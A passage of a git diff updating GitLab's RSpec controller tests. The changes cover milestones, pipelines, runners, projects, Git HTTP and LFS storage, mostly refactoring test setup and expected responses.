+ let(:codequality_comparison) { { status: :error, status_reason: 'no codequality report' } }
+
+ it 'returns a 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response).to eq({ 'status_reason' => 'no codequality report' })
+ end
+ end
+ end
+
describe 'POST remove_wip' do
before do
merge_request.title = merge_request.wip_title
diff --git a/spec/controllers/projects/milestones_controller_spec.rb b/spec/controllers/projects/milestones_controller_spec.rb
index 9e5d41b1075..b93f1b41a7e 100644
--- a/spec/controllers/projects/milestones_controller_spec.rb
+++ b/spec/controllers/projects/milestones_controller_spec.rb
@@ -33,14 +33,14 @@ RSpec.describe Projects::MilestonesController do
view_milestone
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
it 'returns milestone json' do
view_milestone format: :json
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
end
@@ -189,7 +189,7 @@ RSpec.describe Projects::MilestonesController do
get :labels, params: { namespace_id: group.id, project_id: project.id, id: milestone.iid }, format: :json
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['html']).not_to include(label.title)
end
@@ -200,7 +200,7 @@ RSpec.describe Projects::MilestonesController do
get :labels, params: { namespace_id: group.id, project_id: project.id, id: milestone.iid }, format: :json
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['html']).to include(label.title)
end
@@ -262,7 +262,7 @@ RSpec.describe Projects::MilestonesController do
get :participants, params: params
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['html']).to include(issue_assignee.name)
end
end
@@ -277,7 +277,7 @@ RSpec.describe Projects::MilestonesController do
get :participants, params: params
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['html']).not_to include(issue_assignee.name)
end
end
diff --git a/spec/controllers/projects/notes_controller_spec.rb b/spec/controllers/projects/notes_controller_spec.rb
index d76432f71b3..e96113c0133 100644
--- a/spec/controllers/projects/notes_controller_spec.rb
+++ b/spec/controllers/projects/notes_controller_spec.rb
@@ -426,7 +426,7 @@ RSpec.describe Projects::NotesController do
let(:note_text) { "/award :thumbsup:\n/estimate 1d\n/spend 3h" }
let(:extra_request_params) { { format: :json } }
- it 'includes changes in commands_changes ' do
+ it 'includes changes in commands_changes' do
create!
expect(response).to have_gitlab_http_status(:ok)
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index 0720124ea57..e1405660ccb 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -1149,11 +1149,17 @@ RSpec.describe Projects::PipelinesController do
end
end
- describe 'GET config_variables.json' do
+ describe 'GET config_variables.json', :use_clean_rails_memory_store_caching do
+ include ReactiveCachingHelpers
+
let(:result) { YAML.dump(ci_config) }
+ let(:service) { Ci::ListConfigVariablesService.new(project, user) }
before do
stub_gitlab_ci_yml_for_sha(sha, result)
+ allow(Ci::ListConfigVariablesService)
+ .to receive(:new)
+ .and_return(service)
end
context 'when sending a valid sha' do
@@ -1170,6 +1176,10 @@ RSpec.describe Projects::PipelinesController do
}
end
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns variable list' do
get_config_variables
@@ -1182,6 +1192,10 @@ RSpec.describe Projects::PipelinesController do
let(:sha) { 'invalid-sha' }
let(:ci_config) { nil }
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns empty json' do
get_config_variables
@@ -1204,6 +1218,10 @@ RSpec.describe Projects::PipelinesController do
}
end
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns empty result' do
get_config_variables
@@ -1212,6 +1230,27 @@ RSpec.describe Projects::PipelinesController do
end
end
+ context 'when the cache is empty' do
+ let(:sha) { 'master' }
+ let(:ci_config) do
+ {
+ variables: {
+ KEY1: { value: 'val 1', description: 'description 1' }
+ },
+ test: {
+ stage: 'test',
+ script: 'echo'
+ }
+ }
+ end
+
+ it 'returns no content' do
+ get_config_variables
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+ end
+
private
def stub_gitlab_ci_yml_for_sha(sha, result)
diff --git a/spec/controllers/projects/prometheus/alerts_controller_spec.rb b/spec/controllers/projects/prometheus/alerts_controller_spec.rb
index cbd599506df..46de8aa4baf 100644
--- a/spec/controllers/projects/prometheus/alerts_controller_spec.rb
+++ b/spec/controllers/projects/prometheus/alerts_controller_spec.rb
@@ -168,7 +168,7 @@ RSpec.describe Projects::Prometheus::AlertsController do
expect(Projects::Prometheus::Alerts::NotifyService)
.to receive(:new)
- .with(project, nil, duck_type(:permitted?))
+ .with(project, duck_type(:permitted?))
.and_return(notify_service)
end
diff --git a/spec/controllers/projects/raw_controller_spec.rb b/spec/controllers/projects/raw_controller_spec.rb
index 43cf1a16051..dfe7ba34e6d 100644
--- a/spec/controllers/projects/raw_controller_spec.rb
+++ b/spec/controllers/projects/raw_controller_spec.rb
@@ -5,11 +5,11 @@ require 'spec_helper'
RSpec.describe Projects::RawController do
include RepoHelpers
- let(:project) { create(:project, :public, :repository) }
+ let_it_be(:project) { create(:project, :public, :repository) }
let(:inline) { nil }
describe 'GET #show' do
- subject do
+ def get_show
get(:show,
params: {
namespace_id: project.namespace,
@@ -19,6 +19,18 @@ RSpec.describe Projects::RawController do
})
end
+ subject { get_show }
+
+ shared_examples 'single Gitaly request' do
+ it 'makes a single Gitaly request', :request_store, :clean_gitlab_redis_cache do
+ # Warm up to populate repository cache
+ get_show
+ RequestStore.clear!
+
+ expect { get_show }.to change { Gitlab::GitalyClient.get_request_count }.by(1)
+ end
+ end
+
context 'regular filename' do
let(:filepath) { 'master/README.md' }
@@ -33,6 +45,7 @@ RSpec.describe Projects::RawController do
it_behaves_like 'project cache control headers'
it_behaves_like 'content disposition headers'
+ include_examples 'single Gitaly request'
end
context 'image header' do
@@ -48,6 +61,7 @@ RSpec.describe Projects::RawController do
it_behaves_like 'project cache control headers'
it_behaves_like 'content disposition headers'
+ include_examples 'single Gitaly request'
end
context 'with LFS files' do
@@ -56,6 +70,7 @@ RSpec.describe Projects::RawController do
it_behaves_like 'a controller that can serve LFS files'
it_behaves_like 'project cache control headers'
+ include_examples 'single Gitaly request'
end
context 'when the endpoint receives requests above the limit', :clean_gitlab_redis_cache do
diff --git a/spec/controllers/projects/releases_controller_spec.rb b/spec/controllers/projects/releases_controller_spec.rb
index 07fb03b39c6..c1f1373ddc2 100644
--- a/spec/controllers/projects/releases_controller_spec.rb
+++ b/spec/controllers/projects/releases_controller_spec.rb
@@ -83,7 +83,7 @@ RSpec.describe Projects::ReleasesController do
let(:format) { :html }
it 'returns a text/html content_type' do
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
it_behaves_like 'common access controls'
@@ -101,7 +101,7 @@ RSpec.describe Projects::ReleasesController do
let(:format) { :json }
it 'returns an application/json content_type' do
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
it "returns the project's releases as JSON, ordered by released_at" do
diff --git a/spec/controllers/projects/runners_controller_spec.rb b/spec/controllers/projects/runners_controller_spec.rb
index 2443a823070..d63d88f8283 100644
--- a/spec/controllers/projects/runners_controller_spec.rb
+++ b/spec/controllers/projects/runners_controller_spec.rb
@@ -78,40 +78,84 @@ RSpec.describe Projects::RunnersController do
let(:group) { create(:group) }
let(:project) { create(:project, group: group) }
- it 'toggles shared_runners_enabled when the group allows shared runners' do
- project.update!(shared_runners_enabled: true)
+ context 'without feature flag' do
+ before do
+ stub_feature_flags(vueify_shared_runners_toggle: false)
+ end
- post :toggle_shared_runners, params: params
+ it 'toggles shared_runners_enabled when the group allows shared runners' do
+ project.update!(shared_runners_enabled: true)
- project.reload
+ post :toggle_shared_runners, params: params
- expect(response).to have_gitlab_http_status(:found)
- expect(project.shared_runners_enabled).to eq(false)
- end
+ project.reload
- it 'toggles shared_runners_enabled when the group disallows shared runners but allows overrides' do
- group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: true)
- project.update!(shared_runners_enabled: false)
+ expect(response).to have_gitlab_http_status(:found)
+ expect(project.shared_runners_enabled).to eq(false)
+ end
- post :toggle_shared_runners, params: params
+ it 'toggles shared_runners_enabled when the group disallows shared runners but allows overrides' do
+ group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: true)
+ project.update!(shared_runners_enabled: false)
- project.reload
+ post :toggle_shared_runners, params: params
- expect(response).to have_gitlab_http_status(:found)
- expect(project.shared_runners_enabled).to eq(true)
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(project.shared_runners_enabled).to eq(true)
+ end
+
+ it 'does not enable if the group disallows shared runners' do
+ group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: false)
+ project.update!(shared_runners_enabled: false)
+
+ post :toggle_shared_runners, params: params
+
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(project.shared_runners_enabled).to eq(false)
+ expect(flash[:alert]).to eq('Cannot enable shared runners because parent group does not allow it')
+ end
end
- it 'does not enable if the group disallows shared runners' do
- group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: false)
- project.update!(shared_runners_enabled: false)
+ context 'with feature flag: vueify_shared_runners_toggle' do
+ it 'toggles shared_runners_enabled when the group allows shared runners' do
+ project.update!(shared_runners_enabled: true)
- post :toggle_shared_runners, params: params
+ post :toggle_shared_runners, params: params
- project.reload
+ project.reload
- expect(response).to have_gitlab_http_status(:found)
- expect(project.shared_runners_enabled).to eq(false)
- expect(flash[:alert]).to eq("Cannot enable shared runners because parent group does not allow it")
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(project.shared_runners_enabled).to eq(false)
+ end
+
+ it 'toggles shared_runners_enabled when the group disallows shared runners but allows overrides' do
+ group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: true)
+ project.update!(shared_runners_enabled: false)
+
+ post :toggle_shared_runners, params: params
+
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(project.shared_runners_enabled).to eq(true)
+ end
+
+ it 'does not enable if the group disallows shared runners' do
+ group.update!(shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: false)
+ project.update!(shared_runners_enabled: false)
+
+ post :toggle_shared_runners, params: params
+
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(project.shared_runners_enabled).to eq(false)
+ expect(json_response['error']).to eq('Cannot enable shared runners because parent group does not allow it')
+ end
end
end
end
diff --git a/spec/controllers/projects/static_site_editor_controller_spec.rb b/spec/controllers/projects/static_site_editor_controller_spec.rb
index 867b2b51039..b563f3b667f 100644
--- a/spec/controllers/projects/static_site_editor_controller_spec.rb
+++ b/spec/controllers/projects/static_site_editor_controller_spec.rb
@@ -7,6 +7,21 @@ RSpec.describe Projects::StaticSiteEditorController do
let_it_be(:user) { create(:user) }
let(:data) { { key: 'value' } }
+ describe 'GET index' do
+ let(:default_params) do
+ {
+ namespace_id: project.namespace,
+ project_id: project
+ }
+ end
+
+ it 'responds with 404 page' do
+ get :index, params: default_params
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
describe 'GET show' do
render_views
diff --git a/spec/controllers/projects/terraform_controller_spec.rb b/spec/controllers/projects/terraform_controller_spec.rb
index 1978b9494fa..73f0a5b26fb 100644
--- a/spec/controllers/projects/terraform_controller_spec.rb
+++ b/spec/controllers/projects/terraform_controller_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Projects::TerraformController do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
describe 'GET index' do
subject { get :index, params: { namespace_id: project.namespace, project_id: project } }
@@ -34,5 +34,15 @@ RSpec.describe Projects::TerraformController do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ context 'when no user is present' do
+ before do
+ subject
+ end
+
+ it 'shows 404' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
end
end
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index 012a98f433e..bd7ef3db8b6 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -6,15 +6,15 @@ RSpec.describe ProjectsController do
include ExternalAuthorizationServiceHelpers
include ProjectForksHelper
- let(:project) { create(:project, service_desk_enabled: false) }
- let(:public_project) { create(:project, :public) }
- let(:user) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project, service_desk_enabled: false) }
+ let_it_be(:public_project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
let(:jpg) { fixture_file_upload('spec/fixtures/rails_sample.jpg', 'image/jpg') }
let(:txt) { fixture_file_upload('spec/fixtures/doc_sample.txt', 'text/plain') }
describe 'GET new' do
context 'with an authenticated user' do
- let(:group) { create(:group) }
+ let_it_be(:group) { create(:group) }
before do
sign_in(user)
@@ -41,27 +41,6 @@ RSpec.describe ProjectsController do
end
end
end
-
- context 'with the new_create_project_ui experiment enabled and the user is part of the control group' do
- before do
- stub_experiment(new_create_project_ui: true)
- stub_experiment_for_user(new_create_project_ui: false)
- allow_any_instance_of(described_class).to receive(:experimentation_subject_id).and_return('uuid')
- end
-
- it 'passes the right tracking parameters to the frontend' do
- get(:new)
-
- expect(Gon.tracking_data).to eq(
- {
- category: 'Manage::Import::Experiment::NewCreateProjectUi',
- action: 'click_tab',
- label: 'uuid',
- property: 'control_group'
- }
- )
- end
- end
end
end
@@ -89,7 +68,7 @@ RSpec.describe ProjectsController do
include DesignManagementTestHelpers
render_views
- let(:project) { create(:project, :public, issues_access_level: ProjectFeature::PRIVATE) }
+ let_it_be(:project) { create(:project, :public, issues_access_level: ProjectFeature::PRIVATE) }
before do
enable_design_management
@@ -248,10 +227,12 @@ RSpec.describe ProjectsController do
end
context "project with empty repo" do
- let(:empty_project) { create(:project_empty_repo, :public) }
+ let_it_be(:empty_project) { create(:project_empty_repo, :public) }
before do
sign_in(user)
+
+ allow(controller).to receive(:record_experiment_user).with(:invite_members_empty_project_version_a)
end
User.project_views.keys.each do |project_view|
@@ -262,15 +243,16 @@ RSpec.describe ProjectsController do
get :show, params: { namespace_id: empty_project.namespace, id: empty_project }
end
- it "renders the empty project view" do
+ it "renders the empty project view and records the experiment user", :aggregate_failures do
expect(response).to render_template('empty')
+ expect(controller).to have_received(:record_experiment_user).with(:invite_members_empty_project_version_a)
end
end
end
end
context "project with broken repo" do
- let(:empty_project) { create(:project_broken_repo, :public) }
+ let_it_be(:empty_project) { create(:project_broken_repo, :public) }
before do
sign_in(user)
@@ -294,15 +276,20 @@ RSpec.describe ProjectsController do
end
context "rendering default project view" do
- let(:public_project) { create(:project, :public, :repository) }
+ let_it_be(:public_project) { create(:project, :public, :repository) }
render_views
+ def get_show
+ get :show, params: { namespace_id: public_project.namespace, id: public_project }
+ end
+
it "renders the activity view" do
allow(controller).to receive(:current_user).and_return(user)
allow(user).to receive(:project_view).and_return('activity')
- get :show, params: { namespace_id: public_project.namespace, id: public_project }
+ get_show
+
expect(response).to render_template('_activity')
end
@@ -310,7 +297,8 @@ RSpec.describe ProjectsController do
allow(controller).to receive(:current_user).and_return(user)
allow(user).to receive(:project_view).and_return('files')
- get :show, params: { namespace_id: public_project.namespace, id: public_project }
+ get_show
+
expect(response).to render_template('_files')
end
@@ -318,9 +306,18 @@ RSpec.describe ProjectsController do
allow(controller).to receive(:current_user).and_return(user)
allow(user).to receive(:project_view).and_return('readme')
- get :show, params: { namespace_id: public_project.namespace, id: public_project }
+ get_show
+
expect(response).to render_template('_readme')
end
+
+ it 'does not make Gitaly requests', :request_store, :clean_gitlab_redis_cache do
+ # Warm up to populate repository cache
+ get_show
+ RequestStore.clear!
+
+ expect { get_show }.not_to change { Gitlab::GitalyClient.get_request_count }
+ end
end
context "when the url contains .atom" do
@@ -403,8 +400,8 @@ RSpec.describe ProjectsController do
end
describe 'POST #archive' do
- let(:group) { create(:group) }
- let(:project) { create(:project, group: group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
before do
sign_in(user)
@@ -451,8 +448,8 @@ RSpec.describe ProjectsController do
end
describe 'POST #unarchive' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :archived, group: group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :archived, group: group) }
before do
sign_in(user)
@@ -499,8 +496,8 @@ RSpec.describe ProjectsController do
end
describe '#housekeeping' do
- let(:group) { create(:group) }
- let(:project) { create(:project, group: group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
let(:housekeeping) { Projects::HousekeepingService.new(project) }
context 'when authenticated as owner' do
@@ -672,13 +669,13 @@ RSpec.describe ProjectsController do
end
context 'hashed storage' do
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
it_behaves_like 'updating a project'
end
context 'legacy storage' do
- let(:project) { create(:project, :repository, :legacy_storage) }
+ let_it_be(:project) { create(:project, :repository, :legacy_storage) }
it_behaves_like 'updating a project'
end
@@ -713,14 +710,47 @@ RSpec.describe ProjectsController do
end
end
end
+
+ context 'when updating boolean values on project_settings' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:boolean_value, :result) do
+ '1' | true
+ '0' | false
+ 1 | true
+ 0 | false
+ true | true
+ false | false
+ end
+
+ with_them do
+ it 'updates project settings attributes accordingly' do
+ put :update, params: {
+ namespace_id: project.namespace,
+ id: project.path,
+ project: {
+ project_setting_attributes: {
+ show_default_award_emojis: boolean_value,
+ allow_editing_commit_messages: boolean_value
+ }
+ }
+ }
+
+ project.reload
+
+ expect(project.show_default_award_emojis?).to eq(result)
+ expect(project.allow_editing_commit_messages?).to eq(result)
+ end
+ end
+ end
end
describe '#transfer', :enable_admin_mode do
render_views
- let(:project) { create(:project, :repository) }
- let(:admin) { create(:admin) }
- let(:new_namespace) { create(:namespace) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:new_namespace) { create(:namespace) }
it 'updates namespace' do
sign_in(admin)
@@ -764,7 +794,7 @@ RSpec.describe ProjectsController do
end
describe "#destroy", :enable_admin_mode do
- let(:admin) { create(:admin) }
+ let_it_be(:admin) { create(:admin) }
it "redirects to the dashboard", :sidekiq_might_not_need_inline do
controller.instance_variable_set(:@project, project)
@@ -944,7 +974,7 @@ RSpec.describe ProjectsController do
end
describe "GET refs" do
- let(:project) { create(:project, :public, :repository) }
+ let_it_be(:project) { create(:project, :public, :repository) }
it 'gets a list of branches and tags' do
get :refs, params: { namespace_id: project.namespace, id: project, sort: 'updated_desc' }
@@ -1016,7 +1046,7 @@ RSpec.describe ProjectsController do
end
context 'state filter on references' do
- let(:issue) { create(:issue, :closed, project: public_project) }
+ let_it_be(:issue) { create(:issue, :closed, project: public_project) }
let(:merge_request) { create(:merge_request, :closed, target_project: public_project) }
it 'renders JSON body with state filter for issues' do
@@ -1339,7 +1369,7 @@ RSpec.describe ProjectsController do
end
context 'private project with token authentication' do
- let(:private_project) { create(:project, :private) }
+ let_it_be(:private_project) { create(:project, :private) }
it_behaves_like 'authenticates sessionless user', :show, :atom, ignore_incrementing: true do
before do
@@ -1351,7 +1381,7 @@ RSpec.describe ProjectsController do
end
context 'public project with token authentication' do
- let(:public_project) { create(:project, :public) }
+ let_it_be(:public_project) { create(:project, :public) }
it_behaves_like 'authenticates sessionless user', :show, :atom, public: true do
before do
diff --git a/spec/controllers/registrations/experience_levels_controller_spec.rb b/spec/controllers/registrations/experience_levels_controller_spec.rb
index 4be67f29107..015daba8682 100644
--- a/spec/controllers/registrations/experience_levels_controller_spec.rb
+++ b/spec/controllers/registrations/experience_levels_controller_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe Registrations::ExperienceLevelsController do
context 'with an authenticated user' do
before do
sign_in(user)
- stub_experiment_for_user(onboarding_issues: true)
+ stub_experiment_for_subject(onboarding_issues: true)
end
it { is_expected.to have_gitlab_http_status(:ok) }
@@ -28,7 +28,7 @@ RSpec.describe Registrations::ExperienceLevelsController do
context 'when not part of the onboarding issues experiment' do
before do
- stub_experiment_for_user(onboarding_issues: false)
+ stub_experiment_for_subject(onboarding_issues: false)
end
it { is_expected.to have_gitlab_http_status(:not_found) }
@@ -47,12 +47,12 @@ RSpec.describe Registrations::ExperienceLevelsController do
context 'with an authenticated user' do
before do
sign_in(user)
- stub_experiment_for_user(onboarding_issues: true)
+ stub_experiment_for_subject(onboarding_issues: true)
end
context 'when not part of the onboarding issues experiment' do
before do
- stub_experiment_for_user(onboarding_issues: false)
+ stub_experiment_for_subject(onboarding_issues: false)
end
it { is_expected.to have_gitlab_http_status(:not_found) }
@@ -90,7 +90,7 @@ RSpec.describe Registrations::ExperienceLevelsController do
let(:issues_board) { build(:board, id: 123, project: project) }
before do
- stub_experiment_for_user(
+ stub_experiment_for_subject(
onboarding_issues: true,
default_to_issues_board: default_to_issues_board_xp?
)
diff --git a/spec/controllers/repositories/git_http_controller_spec.rb b/spec/controllers/repositories/git_http_controller_spec.rb
index 851c1b7e519..551abf9241d 100644
--- a/spec/controllers/repositories/git_http_controller_spec.rb
+++ b/spec/controllers/repositories/git_http_controller_spec.rb
@@ -3,219 +3,87 @@
require 'spec_helper'
RSpec.describe Repositories::GitHttpController do
- include GitHttpHelpers
-
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:personal_snippet) { create(:personal_snippet, :public, :repository) }
let_it_be(:project_snippet) { create(:project_snippet, :public, :repository, project: project) }
- let(:namespace_id) { project.namespace.to_param }
- let(:repository_id) { project.path + '.git' }
- let(:container_params) do
- {
- namespace_id: namespace_id,
- repository_id: repository_id
- }
- end
-
- let(:params) { container_params }
-
- describe 'HEAD #info_refs' do
- it 'returns 403' do
- head :info_refs, params: params
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- shared_examples 'info_refs behavior' do
- describe 'GET #info_refs' do
- let(:params) { container_params.merge(service: 'git-upload-pack') }
-
- it 'returns 401 for unauthenticated requests to public repositories when http protocol is disabled' do
- stub_application_setting(enabled_git_access_protocol: 'ssh')
- allow(controller).to receive(:basic_auth_provided?).and_call_original
-
- expect(controller).to receive(:http_download_allowed?).and_call_original
-
- get :info_refs, params: params
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
+ context 'when repository container is a project' do
+ it_behaves_like Repositories::GitHttpController do
+ let(:container) { project }
+ let(:user) { project.owner }
+ let(:access_checker_class) { Gitlab::GitAccess }
- context 'with authorized user' do
+ describe 'POST #git_upload_pack' do
before do
- request.headers.merge! auth_env(user.username, user.password, nil)
+ allow(controller).to receive(:verify_workhorse_api!).and_return(true)
end
- it 'returns 200' do
- get :info_refs, params: params
-
- expect(response).to have_gitlab_http_status(:ok)
+ def send_request
+ post :git_upload_pack, params: params
end
- it 'updates the user activity' do
- expect_next_instance_of(Users::ActivityService) do |activity_service|
- expect(activity_service).to receive(:execute)
+ context 'on a read-only instance' do
+ before do
+ allow(Gitlab::Database).to receive(:read_only?).and_return(true)
end
- get :info_refs, params: params
- end
-
- include_context 'parsed logs' do
- it 'adds user info to the logs' do
- get :info_refs, params: params
+ it 'does not update project statistics' do
+ expect(ProjectDailyStatisticsWorker).not_to receive(:perform_async)
- expect(log_data).to include('username' => user.username,
- 'user_id' => user.id,
- 'meta.user' => user.username)
+ send_request
end
end
- end
-
- context 'with exceptions' do
- before do
- allow(controller).to receive(:authenticate_user).and_return(true)
- allow(controller).to receive(:verify_workhorse_api!).and_return(true)
- end
-
- it 'returns 503 with GRPC Unavailable' do
- allow(controller).to receive(:access_check).and_raise(GRPC::Unavailable)
-
- get :info_refs, params: params
-
- expect(response).to have_gitlab_http_status(:service_unavailable)
- end
-
- it 'returns 503 with timeout error' do
- allow(controller).to receive(:access_check).and_raise(Gitlab::GitAccess::TimeoutError)
-
- get :info_refs, params: params
-
- expect(response).to have_gitlab_http_status(:service_unavailable)
- expect(response.body).to eq 'Gitlab::GitAccess::TimeoutError'
- end
- end
- end
- end
-
- shared_examples 'git_upload_pack behavior' do |expected|
- describe 'POST #git_upload_pack' do
- before do
- allow(controller).to receive(:authenticate_user).and_return(true)
- allow(controller).to receive(:verify_workhorse_api!).and_return(true)
- allow(controller).to receive(:access_check).and_return(nil)
- end
-
- def send_request
- post :git_upload_pack, params: params
- end
-
- context 'on a read-only instance' do
- before do
- allow(Gitlab::Database).to receive(:read_only?).and_return(true)
- end
- it 'does not update project statistics' do
- expect(ProjectDailyStatisticsWorker).not_to receive(:perform_async)
-
- send_request
- end
- end
-
- if expected
context 'when project_statistics_sync feature flag is disabled' do
before do
stub_feature_flags(project_statistics_sync: false)
end
- it 'updates project statistics async' do
+ it 'updates project statistics async for projects' do
expect(ProjectDailyStatisticsWorker).to receive(:perform_async)
send_request
end
end
- it 'updates project statistics sync' do
+ it 'updates project statistics sync for projects' do
expect { send_request }.to change {
- Projects::DailyStatisticsFinder.new(project).total_fetch_count
+ Projects::DailyStatisticsFinder.new(container).total_fetch_count
}.from(0).to(1)
end
- else
- context 'when project_statistics_sync feature flag is disabled' do
- before do
- stub_feature_flags(project_statistics_sync: false)
- end
-
- it 'does not update project statistics' do
- expect(ProjectDailyStatisticsWorker).not_to receive(:perform_async)
- send_request
+ it 'records a namespace onboarding progress action' do
+ expect_next_instance_of(OnboardingProgressService) do |service|
+ expect(service).to receive(:execute).with(action: :git_read)
end
- end
- it 'does not update project statistics' do
- expect { send_request }.not_to change {
- Projects::DailyStatisticsFinder.new(project).total_fetch_count
- }.from(0)
+ send_request
end
end
end
end
- shared_examples 'access checker class' do
- let(:params) { container_params.merge(service: 'git-upload-pack') }
-
- it 'calls the right access class checker with the right object' do
- allow(controller).to receive(:verify_workhorse_api!).and_return(true)
-
- access_double = double
- expect(expected_class).to receive(:new).with(anything, expected_object, 'http', anything).and_return(access_double)
- allow(access_double).to receive(:check).and_return(false)
-
- get :info_refs, params: params
- end
- end
-
- context 'when repository container is a project' do
- it_behaves_like 'info_refs behavior' do
+ context 'when repository container is a project wiki' do
+ it_behaves_like Repositories::GitHttpController do
+ let(:container) { create(:project_wiki, :empty_repo, project: project) }
let(:user) { project.owner }
- end
-
- it_behaves_like 'git_upload_pack behavior', true
- it_behaves_like 'access checker class' do
- let(:expected_class) { Gitlab::GitAccess }
- let(:expected_object) { project }
+ let(:access_checker_class) { Gitlab::GitAccessWiki }
end
end
context 'when repository container is a personal snippet' do
- let(:namespace_id) { 'snippets' }
- let(:repository_id) { personal_snippet.to_param + '.git' }
-
- it_behaves_like 'info_refs behavior' do
+ it_behaves_like Repositories::GitHttpController do
+ let(:container) { personal_snippet }
let(:user) { personal_snippet.author }
- end
-
- it_behaves_like 'git_upload_pack behavior', false
- it_behaves_like 'access checker class' do
- let(:expected_class) { Gitlab::GitAccessSnippet }
- let(:expected_object) { personal_snippet }
+ let(:access_checker_class) { Gitlab::GitAccessSnippet }
end
end
context 'when repository container is a project snippet' do
- let(:namespace_id) { project.full_path + '/snippets' }
- let(:repository_id) { project_snippet.to_param + '.git' }
-
- it_behaves_like 'info_refs behavior' do
+ it_behaves_like Repositories::GitHttpController do
+ let(:container) { project_snippet }
let(:user) { project_snippet.author }
- end
-
- it_behaves_like 'git_upload_pack behavior', false
- it_behaves_like 'access checker class' do
- let(:expected_class) { Gitlab::GitAccessSnippet }
- let(:expected_object) { project_snippet }
+ let(:access_checker_class) { Gitlab::GitAccessSnippet }
end
end
end
diff --git a/spec/controllers/repositories/lfs_storage_controller_spec.rb b/spec/controllers/repositories/lfs_storage_controller_spec.rb
index 4f9d049cf87..e361a7442bb 100644
--- a/spec/controllers/repositories/lfs_storage_controller_spec.rb
+++ b/spec/controllers/repositories/lfs_storage_controller_spec.rb
@@ -23,8 +23,7 @@ RSpec.describe Repositories::LfsStorageController do
let(:params) do
{
- namespace_id: project.namespace.path,
- repository_id: "#{project.path}.git",
+ repository_path: "#{project.full_path}.git",
oid: '6b9765d3888aaec789e8c309eb05b05c3a87895d6ad70d2264bd7270fff665ac',
size: '6725030'
}
diff --git a/spec/controllers/root_controller_spec.rb b/spec/controllers/root_controller_spec.rb
index 1db99a09404..85f9ea66c5f 100644
--- a/spec/controllers/root_controller_spec.rb
+++ b/spec/controllers/root_controller_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe RootController do
context 'when experiment is enabled' do
before do
- stub_experiment_for_user(customize_homepage: true)
+ stub_experiment_for_subject(customize_homepage: true)
end
it 'renders the default dashboard' do
diff --git a/spec/controllers/snippets_controller_spec.rb b/spec/controllers/snippets_controller_spec.rb
index 993ab5d1c72..51cecb348c8 100644
--- a/spec/controllers/snippets_controller_spec.rb
+++ b/spec/controllers/snippets_controller_spec.rb
@@ -172,6 +172,13 @@ RSpec.describe SnippetsController do
expect(assigns(:snippet)).to eq(public_snippet)
expect(response).to have_gitlab_http_status(:ok)
end
+
+ it_behaves_like 'tracking unique hll events', :usage_data_i_snippets_show do
+ subject(:request) { get :show, params: { id: public_snippet.to_param } }
+
+ let(:target_id) { 'i_snippets_show' }
+ let(:expected_type) { instance_of(String) }
+ end
end
context 'when not signed in' do
diff --git a/spec/controllers/users_controller_spec.rb b/spec/controllers/users_controller_spec.rb
index 2e57a901319..916befe3f62 100644
--- a/spec/controllers/users_controller_spec.rb
